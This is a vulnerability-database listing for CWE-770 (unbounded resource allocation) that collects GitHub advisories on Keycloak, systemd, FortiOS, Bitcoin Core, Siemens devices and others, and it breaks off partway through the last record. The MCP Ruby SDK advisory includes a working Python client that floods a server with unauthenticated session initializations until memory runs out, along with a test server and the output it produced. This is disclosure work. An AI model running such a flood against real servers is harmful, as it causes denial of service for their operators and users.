CWE-770
AllowedAllocation of Resources Without Limits or Throttling
Abstraction: Base · Status: Incomplete
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
3624 vulnerabilities reference this CWE, most recent first.
GHSA-52JP-GJ8W-J6XH
Vulnerability from github – Published: 2026-07-30 14:43 – Updated: 2026-07-30 14:43Summary
In its default configuration, MCP::Server::Transports::StreamableHTTPTransport never expires sessions. Every successful initialize request stores a new ServerSession and a session record under a fresh UUID, and the only path that removes them is an explicit client-issued HTTP DELETE. An unauthenticated attacker can repeatedly initialize new sessions and immediately disconnect, forcing the server to retain an unbounded number of ServerSession objects until memory is exhausted.
Affected component
lib/mcp/server/transports/streamable_http_transport.rb:
- Line 27, constructor:
def initialize(server, stateless: false, enable_json_response: false, session_idle_timeout: nil)— the default forsession_idle_timeoutisnil. - Line 46:
start_reaper_thread if @session_idle_timeout— when the timeout isnil, the reaper that prunes idle sessions is never started. - Lines 604–643 (
handle_initialization): every successfulinitializeinserts a new session record; the only removal sites arehandle_delete(client-controlled) and stream-error paths.
The project README acknowledges the insecure default (line 1605):
By default, sessions do not expire. To mitigate session hijacking risks, you can set a
session_idle_timeout(in seconds).
Per-session memory cost is non-trivial: each entry contains a ServerSession instance (with its own Mutex, @in_flight hash, capabilities hash, and server reference), a top-level hash entry under the session UUID, and per-pending-request Queue allocations.
Proof of concept
Server (session_poc_server.rb)
Starts the transport in its default configuration (no session_idle_timeout) and reports the in-memory session count plus process RSS every two seconds.
require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"
server = MCP::Server.new(name: "session-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(server)
Thread.new do
loop do
sessions = transport.instance_variable_get(:@sessions)
count = sessions ? sessions.size : 0
rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
STDERR.puts("[mem] sessions=#{count} RSS=#{rss_mb} MB")
sleep 2
end
end
STDERR.puts("[poc] listening on http://127.0.0.1:9295/")
Rackup::Handler::WEBrick.run(
transport,
Host: "127.0.0.1", Port: 9295,
AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)
Client (session_poc_client.py)
import concurrent.futures, json, socket, time
HOST, PORT = "127.0.0.1", 9295
TOTAL, WORKERS = 50_000, 32
INIT = json.dumps({
"jsonrpc": "2.0", "id": 1, "method": "initialize",
"params": {"protocolVersion": "2025-11-25", "capabilities": {},
"clientInfo": {"name": "flooder", "version": "1.0"}}
}).encode()
REQ = (
f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
f"Content-Type: application/json\r\n"
f"Accept: application/json, text/event-stream\r\n"
f"Content-Length: {len(INIT)}\r\nConnection: close\r\n\r\n"
).encode() + INIT
def one():
try:
s = socket.create_connection((HOST, PORT), timeout=5)
s.sendall(REQ)
data = b""
while True:
c = s.recv(8192)
if not c: break
data += c
s.close()
return b"mcp-session-id" in data.lower()
except OSError:
return False
start = time.time()
created = 0
with concurrent.futures.ThreadPoolExecutor(max_workers=WORKERS) as ex:
futs = [ex.submit(one) for _ in range(TOTAL)]
for i, f in enumerate(concurrent.futures.as_completed(futs), 1):
if f.result():
created += 1
if i % 1000 == 0:
print(f"[poc] dispatched {i} reqs, {created} sessions confirmed, "
f"elapsed {time.time() - start:.1f}s")
print(f"[poc] done. {created}/{TOTAL} sessions confirmed in "
f"{time.time() - start:.1f}s")
Reproduction commands
bundle install
ruby session_poc_server.rb # terminal A
python3 session_poc_client.py # terminal B
Observed result
Tested on macOS, Ruby 3.2.4, against the SDK's main branch.
Server terminal:
[mem] sessions=0 RSS=45 MB
[mem] sessions=2605 RSS=56 MB
[mem] sessions=11587 RSS=72 MB
[mem] sessions=23119 RSS=85 MB
[mem] sessions=34391 RSS=119 MB
[mem] sessions=45325 RSS=128 MB
[mem] sessions=50000 RSS=154 MB
[mem] sessions=50000 RSS=152 MB
[mem] sessions=50000 RSS=152 MB
[mem] sessions=50000 RSS=152 MB # plateau persists indefinitely
Client terminal:
[poc] dispatched 50000 reqs, 50000 sessions confirmed, elapsed 26.6s
[poc] done. 50000/50000 sessions confirmed in 26.6s
50,000 unique sessions are created and retained in 26.6 seconds from a single client. The session count remains pinned at 50,000 indefinitely, confirming that no reaper exists to free the records. Scaling the attack linearly (multiple clients, larger client-capability payloads, longer runtime) drives RSS until the worker is OOM-killed.
Impact
- Attacker requirements: unauthenticated TCP reach of the MCP endpoint. No session, no credentials.
- Effect: memory-exhaustion denial of service. A sustained or distributed attacker can OOM the worker; on services that recycle workers, the attacker simply repeats. On multi-tenant gateways, one tenant can starve all others.
- Affected deployments: every deployment that does not opt into
session_idle_timeout. Because the README presents this as an opt-in mitigation rather than a default, real-world deployments are likely to ship vulnerable.
Suggested mitigation
- Change the default of
session_idle_timeoutto a finite value (e.g. 30 minutes) and document the change as a security default. - Add a
max_sessions:constructor option; rejectinitializewith HTTP 503 once the cap is reached. - Track the time of the
initializePOST separately from later request activity, and evict sessions whose GET SSE stream is never attached within N seconds.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.22.0"
},
"package": {
"ecosystem": "RubyGems",
"name": "mcp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.23.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-67430"
],
"database_specific": {
"cwe_ids": [
"CWE-401",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-30T14:43:29Z",
"nvd_published_at": "2026-07-29T20:17:11Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nIn its default configuration, `MCP::Server::Transports::StreamableHTTPTransport` never expires sessions. Every successful `initialize` request stores a new `ServerSession` and a session record under a fresh UUID, and the only path that removes them is an explicit client-issued HTTP `DELETE`. An unauthenticated attacker can repeatedly initialize new sessions and immediately disconnect, forcing the server to retain an unbounded number of `ServerSession` objects until memory is exhausted.\n\n## Affected component\n\n`lib/mcp/server/transports/streamable_http_transport.rb`:\n\n- Line 27, constructor: `def initialize(server, stateless: false, enable_json_response: false, session_idle_timeout: nil)` \u2014 the default for `session_idle_timeout` is `nil`.\n- Line 46: `start_reaper_thread if @session_idle_timeout` \u2014 when the timeout is `nil`, the reaper that prunes idle sessions is never started.\n- Lines 604\u2013643 (`handle_initialization`): every successful `initialize` inserts a new session record; the only removal sites are `handle_delete` (client-controlled) and stream-error paths.\n\nThe project README acknowledges the insecure default (line 1605):\n\n\u003e By default, sessions do not expire. To mitigate session hijacking risks, you can set a `session_idle_timeout` (in seconds).\n\nPer-session memory cost is non-trivial: each entry contains a `ServerSession` instance (with its own `Mutex`, `@in_flight` hash, capabilities hash, and server reference), a top-level hash entry under the session UUID, and per-pending-request `Queue` allocations.\n\n## Proof of concept\n\n### Server (`session_poc_server.rb`)\n\nStarts the transport in its default configuration (no `session_idle_timeout`) and reports the in-memory session count plus process RSS every two seconds.\n\n```ruby\nrequire \"bundler/setup\"\nrequire \"mcp\"\nrequire \"mcp/server/transports/streamable_http_transport\"\nrequire \"rackup\"\nrequire \"webrick\"\nrequire \"rackup/handler/webrick\"\n\nserver = MCP::Server.new(name: \"session-poc-target\", tools: [])\ntransport = MCP::Server::Transports::StreamableHTTPTransport.new(server)\n\nThread.new do\n loop do\n sessions = transport.instance_variable_get(:@sessions)\n count = sessions ? sessions.size : 0\n rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024\n STDERR.puts(\"[mem] sessions=#{count} RSS=#{rss_mb} MB\")\n sleep 2\n end\nend\n\nSTDERR.puts(\"[poc] listening on http://127.0.0.1:9295/\")\nRackup::Handler::WEBrick.run(\n transport,\n Host: \"127.0.0.1\", Port: 9295,\n AccessLog: [], Logger: WEBrick::Log.new(File::NULL),\n)\n```\n\n### Client (`session_poc_client.py`)\n\n```python\nimport concurrent.futures, json, socket, time\n\nHOST, PORT = \"127.0.0.1\", 9295\nTOTAL, WORKERS = 50_000, 32\n\nINIT = json.dumps({\n \"jsonrpc\": \"2.0\", \"id\": 1, \"method\": \"initialize\",\n \"params\": {\"protocolVersion\": \"2025-11-25\", \"capabilities\": {},\n \"clientInfo\": {\"name\": \"flooder\", \"version\": \"1.0\"}}\n}).encode()\n\nREQ = (\n f\"POST / HTTP/1.1\\r\\nHost: {HOST}:{PORT}\\r\\n\"\n f\"Content-Type: application/json\\r\\n\"\n f\"Accept: application/json, text/event-stream\\r\\n\"\n f\"Content-Length: {len(INIT)}\\r\\nConnection: close\\r\\n\\r\\n\"\n).encode() + INIT\n\ndef one():\n try:\n s = socket.create_connection((HOST, PORT), timeout=5)\n s.sendall(REQ)\n data = b\"\"\n while True:\n c = s.recv(8192)\n if not c: break\n data += c\n s.close()\n return b\"mcp-session-id\" in data.lower()\n except OSError:\n return False\n\nstart = time.time()\ncreated = 0\nwith concurrent.futures.ThreadPoolExecutor(max_workers=WORKERS) as ex:\n futs = [ex.submit(one) for _ in range(TOTAL)]\n for i, f in enumerate(concurrent.futures.as_completed(futs), 1):\n if f.result():\n created += 1\n if i % 1000 == 0:\n print(f\"[poc] dispatched {i} reqs, {created} sessions confirmed, \"\n f\"elapsed {time.time() - start:.1f}s\")\n\nprint(f\"[poc] done. {created}/{TOTAL} sessions confirmed in \"\n f\"{time.time() - start:.1f}s\")\n```\n\n### Reproduction commands\n\n```sh\nbundle install\nruby session_poc_server.rb # terminal A\npython3 session_poc_client.py # terminal B\n```\n\n### Observed result\n\nTested on macOS, Ruby 3.2.4, against the SDK\u0027s `main` branch.\n\nServer terminal:\n\n```\n[mem] sessions=0 RSS=45 MB\n[mem] sessions=2605 RSS=56 MB\n[mem] sessions=11587 RSS=72 MB\n[mem] sessions=23119 RSS=85 MB\n[mem] sessions=34391 RSS=119 MB\n[mem] sessions=45325 RSS=128 MB\n[mem] sessions=50000 RSS=154 MB\n[mem] sessions=50000 RSS=152 MB\n[mem] sessions=50000 RSS=152 MB\n[mem] sessions=50000 RSS=152 MB # plateau persists indefinitely\n```\n\nClient terminal:\n\n```\n[poc] dispatched 50000 reqs, 50000 sessions confirmed, elapsed 26.6s\n[poc] done. 50000/50000 sessions confirmed in 26.6s\n```\n\n50,000 unique sessions are created and retained in 26.6 seconds from a single client. The session count remains pinned at 50,000 indefinitely, confirming that no reaper exists to free the records. Scaling the attack linearly (multiple clients, larger client-capability payloads, longer runtime) drives RSS until the worker is OOM-killed.\n\n\u003cimg width=\"3544\" height=\"1674\" alt=\"image\" src=\"https://github.com/user-attachments/assets/89ac35ab-5629-4b48-83f8-e26a92b3e45c\" /\u003e\n\n## Impact\n\n- **Attacker requirements:** unauthenticated TCP reach of the MCP endpoint. No session, no credentials.\n- **Effect:** memory-exhaustion denial of service. A sustained or distributed attacker can OOM the worker; on services that recycle workers, the attacker simply repeats. On multi-tenant gateways, one tenant can starve all others.\n- **Affected deployments:** every deployment that does not opt into `session_idle_timeout`. Because the README presents this as an opt-in mitigation rather than a default, real-world deployments are likely to ship vulnerable.\n\n## Suggested mitigation\n\n1. Change the default of `session_idle_timeout` to a finite value (e.g. 30 minutes) and document the change as a security default.\n2. Add a `max_sessions:` constructor option; reject `initialize` with HTTP 503 once the cap is reached.\n3. Track the time of the `initialize` POST separately from later request activity, and evict sessions whose GET SSE stream is never attached within N seconds.",
"id": "GHSA-52jp-gj8w-j6xh",
"modified": "2026-07-30T14:43:29Z",
"published": "2026-07-30T14:43:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-52jp-gj8w-j6xh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67430"
},
{
"type": "WEB",
"url": "https://github.com/modelcontextprotocol/ruby-sdk/commit/afb968c468c178c4d3294b423fcce250621692f4"
},
{
"type": "PACKAGE",
"url": "https://github.com/modelcontextprotocol/ruby-sdk"
},
{
"type": "WEB",
"url": "https://github.com/modelcontextprotocol/ruby-sdk/releases/tag/v0.23.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "MCP Ruby SDK: Unbounded session retention in StreamableHTTPTransport allows memory exhaustion via initialize flood"
}
GHSA-52RG-HPWQ-QP56
Vulnerability from github – Published: 2022-02-09 00:56 – Updated: 2021-04-01 21:20A vulnerability was found in Keycloak before 11.0.1 where DoS attack is possible by sending twenty requests simultaneously to the specified keycloak server, all with a Content-Length header value that exceeds the actual byte count of the request body.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.keycloak:keycloak-parent"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "11.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-10758"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2021-04-01T21:20:47Z",
"nvd_published_at": "2020-09-16T16:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability was found in Keycloak before 11.0.1 where DoS attack is possible by sending twenty requests simultaneously to the specified keycloak server, all with a Content-Length header value that exceeds the actual byte count of the request body.",
"id": "GHSA-52rg-hpwq-qp56",
"modified": "2021-04-01T21:20:47Z",
"published": "2022-02-09T00:56:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-10758"
},
{
"type": "WEB",
"url": "https://github.com/keycloak/keycloak/commit/bee4ca89897766c4b68856eafe14f1a3dad34251"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1843849"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Allocation of Resources Without Limits or Throttling in Keycloak"
}
GHSA-5337-WCGC-WCVP
Vulnerability from github – Published: 2022-05-24 19:08 – Updated: 2025-06-09 18:32basic/unit-name.c in systemd 220 through 248 has a Memory Allocation with an Excessive Size Value (involving strdupa and alloca for a pathname controlled by a local attacker) that results in an operating system crash.
{
"affected": [],
"aliases": [
"CVE-2021-33910"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-07-20T19:15:00Z",
"severity": "MODERATE"
},
"details": "basic/unit-name.c in systemd 220 through 248 has a Memory Allocation with an Excessive Size Value (involving strdupa and alloca for a pathname controlled by a local attacker) that results in an operating system crash.",
"id": "GHSA-5337-wcgc-wcvp",
"modified": "2025-06-09T18:32:01Z",
"published": "2022-05-24T19:08:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33910"
},
{
"type": "WEB",
"url": "https://github.com/systemd/systemd/pull/20256/commits/441e0115646d54f080e5c3bb0ba477c892861ab9"
},
{
"type": "WEB",
"url": "https://github.com/systemd/systemd-stable/commit/4a1c5f34bd3e1daed4490e9d97918e504d19733b"
},
{
"type": "WEB",
"url": "https://github.com/systemd/systemd-stable/commit/764b74113e36ac5219a4b82a05f311b5a92136ce"
},
{
"type": "WEB",
"url": "https://github.com/systemd/systemd-stable/commit/b00674347337b7531c92fdb65590ab253bb57538"
},
{
"type": "WEB",
"url": "https://github.com/systemd/systemd-stable/commit/cfd14c65374027b34dbbc4f0551456c5dc2d1f61"
},
{
"type": "WEB",
"url": "https://github.com/systemd/systemd/commit/b34a4f0e6729de292cb3b0c03c1d48f246ad896b"
},
{
"type": "WEB",
"url": "https://www.openwall.com/lists/oss-security/2021/07/20/2"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2021/dsa-4942"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20211104-0008"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202107-48"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/42TMJVNYRY65B4QCJICBYOEIVZV3KUYI"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2LSDMHAKI4LGFOCSPXNVVSEWQFAVFWR7"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/42TMJVNYRY65B4QCJICBYOEIVZV3KUYI"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2LSDMHAKI4LGFOCSPXNVVSEWQFAVFWR7"
},
{
"type": "WEB",
"url": "https://github.com/systemd/systemd/releases"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-222547.pdf"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/163621/Sequoia-A-Deep-Root-In-Linuxs-Filesystem-Layer.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2021/08/04/2"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2021/08/17/3"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2021/09/07/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-53H9-QP9V-954C
Vulnerability from github – Published: 2025-01-14 15:30 – Updated: 2025-01-14 15:30An allocation of resources without limits or throttling [CWE-770] vulnerability in FortiOS versions 7.6.0, versions 7.4.4 through 7.4.0, 7.2 all versions, 7.0 all versions, 6.4 all versions may allow a remote unauthenticated attacker to prevent access to the GUI via specially crafted requests directed at specific endpoints.
{
"affected": [],
"aliases": [
"CVE-2024-46666"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-14T14:15:31Z",
"severity": "MODERATE"
},
"details": "An allocation of resources without limits or throttling [CWE-770] vulnerability in FortiOS versions 7.6.0, versions 7.4.4 through 7.4.0, 7.2 all versions, 7.0 all versions, 6.4 all versions may allow a remote unauthenticated attacker to prevent access to the GUI via specially crafted requests directed at specific endpoints.",
"id": "GHSA-53h9-qp9v-954c",
"modified": "2025-01-14T15:30:53Z",
"published": "2025-01-14T15:30:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-46666"
},
{
"type": "WEB",
"url": "https://fortiguard.fortinet.com/psirt/FG-IR-24-250"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-53QF-272P-GHF6
Vulnerability from github – Published: 2022-05-24 19:08 – Updated: 2024-03-19 18:31IBM Secure External Authentication Server 2.4.3.2, 6.0.1, 6.0.2 and IBM Secure Proxy 3.4.3.2, 6.0.1, 6.0.2 could allow a remote user to consume resources causing a denial of service due to a resource leak.
{
"affected": [],
"aliases": [
"CVE-2021-29725"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-07-15T16:15:00Z",
"severity": "HIGH"
},
"details": "IBM Secure External Authentication Server 2.4.3.2, 6.0.1, 6.0.2 and IBM Secure Proxy 3.4.3.2, 6.0.1, 6.0.2 could allow a remote user to consume resources causing a denial of service due to a resource leak.",
"id": "GHSA-53qf-272p-ghf6",
"modified": "2024-03-19T18:31:58Z",
"published": "2022-05-24T19:08:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29725"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/201102"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/6471577"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/6471615"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-53V9-6JR7-7FXH
Vulnerability from github – Published: 2024-10-10 15:30 – Updated: 2024-10-10 18:31Bitcoin Core before 25.0 allows remote attackers to cause a denial of service (blocktxn message-handling assertion and node exit) by including transactions in a blocktxn message that are not committed to in a block's merkle root. FillBlock can be called twice for one PartiallyDownloadedBlock instance.
{
"affected": [],
"aliases": [
"CVE-2024-35202"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-10T13:15:14Z",
"severity": "HIGH"
},
"details": "Bitcoin Core before 25.0 allows remote attackers to cause a denial of service (blocktxn message-handling assertion and node exit) by including transactions in a blocktxn message that are not committed to in a block\u0027s merkle root. FillBlock can be called twice for one PartiallyDownloadedBlock instance.",
"id": "GHSA-53v9-6jr7-7fxh",
"modified": "2024-10-10T18:31:08Z",
"published": "2024-10-10T15:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35202"
},
{
"type": "WEB",
"url": "https://github.com/bitcoin/bitcoin/pull/26898"
},
{
"type": "WEB",
"url": "https://bitcoincore.org/en/2024/10/08/disclose-blocktxn-crash"
},
{
"type": "WEB",
"url": "https://en.bitcoin.it/wiki/Common_Vulnerabilities_and_Exposures"
},
{
"type": "WEB",
"url": "https://github.com/bitcoin/bitcoin/blob/master/doc/release-notes/release-notes-25.0.md"
},
{
"type": "WEB",
"url": "https://github.com/bitcoin/bitcoin/releases/tag/v25.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-544R-7R8M-228W
Vulnerability from github – Published: 2023-10-03 03:31 – Updated: 2024-04-04 08:01Allocation of Resources Without Limits or Throttling vulnerability in Hitachi Ops Center Common Services on Linux allows DoS.This issue affects Hitachi Ops Center Common Services: before 10.9.3-00.
{
"affected": [],
"aliases": [
"CVE-2023-3967"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-03T02:15:09Z",
"severity": "HIGH"
},
"details": "Allocation of Resources Without Limits or Throttling vulnerability in Hitachi Ops Center Common Services on Linux allows DoS.This issue affects Hitachi Ops Center Common Services: before 10.9.3-00.\n\n",
"id": "GHSA-544r-7r8m-228w",
"modified": "2024-04-04T08:01:59Z",
"published": "2023-10-03T03:31:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3967"
},
{
"type": "WEB",
"url": "https://www.hitachi.com/products/it/software/security/info/vuls/hitachi-sec-2023-142/index.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-54CV-CHRV-X9H9
Vulnerability from github – Published: 2025-08-12 12:30 – Updated: 2025-08-12 12:30A vulnerability has been identified in SIPROTEC 5 6MD84 (CP300) (All versions < V10.0), SIPROTEC 5 6MD85 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 6MD86 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 6MD89 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 6MU85 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 7KE85 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 7SA82 (CP150) (All versions < V10.0), SIPROTEC 5 7SA86 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 7SA87 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 7SD82 (CP150) (All versions < V10.0), SIPROTEC 5 7SD86 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 7SD87 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 7SJ81 (CP150) (All versions < V10.0), SIPROTEC 5 7SJ82 (CP150) (All versions < V10.0), SIPROTEC 5 7SJ85 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 7SJ86 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 7SK82 (CP150) (All versions < V10.0), SIPROTEC 5 7SK85 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 7SL82 (CP150) (All versions < V10.0), SIPROTEC 5 7SL86 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 7SL87 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 7SS85 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 7ST85 (CP300) (All versions < V10.0), SIPROTEC 5 7ST86 (CP300) (All versions < V10.0), SIPROTEC 5 7SX82 (CP150) (All versions < V10.0), SIPROTEC 5 7SX85 (CP300) (All versions < V10.0), SIPROTEC 5 7SY82 (CP150) (All versions < V10.0), SIPROTEC 5 7UM85 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 7UT82 (CP150) (All versions < V10.0), SIPROTEC 5 7UT85 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 7UT86 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 7UT87 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 7VE85 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 7VK87 (CP300) (All versions >= V7.80 < V10.0), SIPROTEC 5 7VU85 (CP300) (All versions < V10.0), SIPROTEC 5 Compact 7SX800 (CP050) (All versions < V10.0). Affected devices do not properly limit the bandwidth for incoming network packets over their local USB port. This could allow an attacker with physical access to send specially crafted packets with high bandwidth to the affected devices thus forcing them to exhaust their memory and stop responding to any network traffic via the local USB port. Affected devices reset themselves automatically after a successful attack. The protection function is not affected of this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2025-40570"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-12T12:15:35Z",
"severity": "LOW"
},
"details": "A vulnerability has been identified in SIPROTEC 5 6MD84 (CP300) (All versions \u003c V10.0), SIPROTEC 5 6MD85 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 6MD86 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 6MD89 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 6MU85 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 7KE85 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 7SA82 (CP150) (All versions \u003c V10.0), SIPROTEC 5 7SA86 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 7SA87 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 7SD82 (CP150) (All versions \u003c V10.0), SIPROTEC 5 7SD86 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 7SD87 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 7SJ81 (CP150) (All versions \u003c V10.0), SIPROTEC 5 7SJ82 (CP150) (All versions \u003c V10.0), SIPROTEC 5 7SJ85 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 7SJ86 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 7SK82 (CP150) (All versions \u003c V10.0), SIPROTEC 5 7SK85 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 7SL82 (CP150) (All versions \u003c V10.0), SIPROTEC 5 7SL86 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 7SL87 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 7SS85 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 7ST85 (CP300) (All versions \u003c V10.0), SIPROTEC 5 7ST86 (CP300) (All versions \u003c V10.0), SIPROTEC 5 7SX82 (CP150) (All versions \u003c V10.0), SIPROTEC 5 7SX85 (CP300) (All versions \u003c V10.0), SIPROTEC 5 7SY82 (CP150) (All versions \u003c V10.0), SIPROTEC 5 7UM85 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 7UT82 (CP150) (All versions \u003c V10.0), SIPROTEC 5 7UT85 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 7UT86 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 7UT87 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 7VE85 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 7VK87 (CP300) (All versions \u003e= V7.80 \u003c V10.0), SIPROTEC 5 7VU85 (CP300) (All versions \u003c V10.0), SIPROTEC 5 Compact 7SX800 (CP050) (All versions \u003c V10.0). Affected devices do not properly limit the bandwidth for incoming network packets over their local USB port. This could allow an attacker with physical access to send specially crafted packets with high bandwidth to the affected devices thus forcing them to exhaust their memory and stop responding to any network traffic via the local USB port. Affected devices reset themselves automatically after a successful attack. The protection function is not affected of this vulnerability.",
"id": "GHSA-54cv-chrv-x9h9",
"modified": "2025-08-12T12:30:33Z",
"published": "2025-08-12T12:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-40570"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-894058.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
